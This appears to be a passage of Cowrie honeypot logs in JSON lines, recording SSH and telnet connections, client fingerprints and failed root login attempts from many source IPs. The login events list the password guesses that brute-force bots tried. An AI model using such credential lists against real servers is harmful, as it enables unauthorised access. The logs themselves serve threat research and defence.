{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55500,"dst_ip":"10.17.0.5","dst_port":23,"session":"645d7e344b28","protocol":"telnet","message":"New connection: 152.42.224.71:55500 (10.17.0.5:23) [session: 645d7e344b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:20.297138Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":40228,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3d41255b863","protocol":"ssh","message":"New connection: 103.15.222.183:40228 (10.17.0.5:22) [session: a3d41255b863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:29.382067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:29.390407Z","src_ip":"103.15.222.183","session":"a3d41255b863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:29.685954Z","src_ip":"103.15.222.183","session":"a3d41255b863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smirnova","message":"login attempt [root/smirnova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:30.423077Z","src_ip":"103.15.222.183","session":"a3d41255b863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:31.670913Z","src_ip":"103.15.222.183","session":"a3d41255b863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41612,"dst_ip":"10.17.0.5","dst_port":23,"session":"c343d51eaccc","protocol":"telnet","message":"New connection: 152.42.224.71:41612 (10.17.0.5:23) [session: c343d51eaccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:31.824897Z"}
{"eventid":"cowrie.session.closed","duration":33.01741623878479,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:31.956795Z","src_ip":"152.42.224.71","session":"94e960fc4b1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41618,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5e0156fbb82","protocol":"telnet","message":"New connection: 152.42.224.71:41618 (10.17.0.5:23) [session: e5e0156fbb82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:34.504706Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":37326,"dst_ip":"159.203.135.109","dst_port":22,"session":"f825b818e51e","protocol":"ssh","message":"New connection: 43.133.34.13:37326 (159.203.135.109:22) [session: f825b818e51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:34.644855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:34.649140Z","src_ip":"43.133.34.13","session":"f825b818e51e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:34.886842Z","src_ip":"43.133.34.13","session":"f825b818e51e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iDirect","message":"login attempt [root/iDirect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:35.870046Z","src_ip":"43.133.34.13","session":"f825b818e51e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":52742,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdbe6eeb21f8","protocol":"ssh","message":"New connection: 62.133.63.178:52742 (159.203.135.109:22) [session: fdbe6eeb21f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:36.241640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:36.245150Z","src_ip":"62.133.63.178","session":"fdbe6eeb21f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:36.370229Z","src_ip":"62.133.63.178","session":"fdbe6eeb21f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm12345","message":"login attempt [root/zxcvbnm12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:36.745597Z","src_ip":"62.133.63.178","session":"fdbe6eeb21f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:37.109973Z","src_ip":"43.133.34.13","session":"f825b818e51e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:37.873936Z","src_ip":"62.133.63.178","session":"fdbe6eeb21f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":53302,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3b010dda1c2","protocol":"ssh","message":"New connection: 45.78.230.231:53302 (10.17.0.5:22) [session: a3b010dda1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:38.773223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:38.776865Z","src_ip":"45.78.230.231","session":"a3b010dda1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:39.026350Z","src_ip":"45.78.230.231","session":"a3b010dda1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33762,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b22eaf4573c","protocol":"telnet","message":"New connection: 152.42.224.71:33762 (10.17.0.5:23) [session: 1b22eaf4573c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:42.385770Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a","message":"login attempt [root/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:42.458019Z","src_ip":"45.78.230.231","session":"a3b010dda1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"45.4","message":"Connection lost after 45.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:43.149016Z","src_ip":"218.157.205.238","session":"9a59cb5c9b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:43.711013Z","src_ip":"45.78.230.231","session":"a3b010dda1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":34558,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a0abc01f861","protocol":"ssh","message":"New connection: 43.130.35.229:34558 (159.203.135.109:22) [session: 6a0abc01f861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:45.234300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:45.239675Z","src_ip":"43.130.35.229","session":"6a0abc01f861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:45.308224Z","src_ip":"43.130.35.229","session":"6a0abc01f861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexsander","message":"login attempt [root/alexsander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:45.612550Z","src_ip":"43.130.35.229","session":"6a0abc01f861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":54300,"dst_ip":"159.203.135.109","dst_port":22,"session":"0105194c6b79","protocol":"ssh","message":"New connection: 193.228.128.84:54300 (159.203.135.109:22) [session: 0105194c6b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:46.440243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:46.444842Z","src_ip":"193.228.128.84","session":"0105194c6b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:46.546362Z","src_ip":"193.228.128.84","session":"0105194c6b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:46.682894Z","src_ip":"43.130.35.229","session":"6a0abc01f861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"66666","message":"login attempt [root/66666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:46.864047Z","src_ip":"193.228.128.84","session":"0105194c6b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:47.969454Z","src_ip":"193.228.128.84","session":"0105194c6b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":43434,"dst_ip":"159.203.135.109","dst_port":22,"session":"570262402ce7","protocol":"ssh","message":"New connection: 191.96.110.121:43434 (159.203.135.109:22) [session: 570262402ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:50.086028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:50.496603Z","src_ip":"191.96.110.121","session":"570262402ce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:50.685812Z","src_ip":"191.96.110.121","session":"570262402ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34742,"dst_ip":"10.17.0.5","dst_port":23,"session":"82ba9ebe6a81","protocol":"telnet","message":"New connection: 152.42.224.71:34742 (10.17.0.5:23) [session: 82ba9ebe6a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:51.366765Z"}
{"eventid":"cowrie.session.closed","duration":37.94593620300293,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:51.795580Z","src_ip":"152.42.224.71","session":"f93aff187e47","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345.","message":"login attempt [root/Abc12345.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:52.005944Z","src_ip":"191.96.110.121","session":"570262402ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:34:53.186888Z","src_ip":"191.96.110.121","session":"570262402ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.827929973602295,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:01.194572Z","src_ip":"152.42.224.71","session":"82ba9ebe6a81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":23756,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ba0f24d1a42","protocol":"ssh","message":"New connection: 213.209.159.56:23756 (10.17.0.5:22) [session: 8ba0f24d1a42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:03.204393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:03.211432Z","src_ip":"213.209.159.56","session":"8ba0f24d1a42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-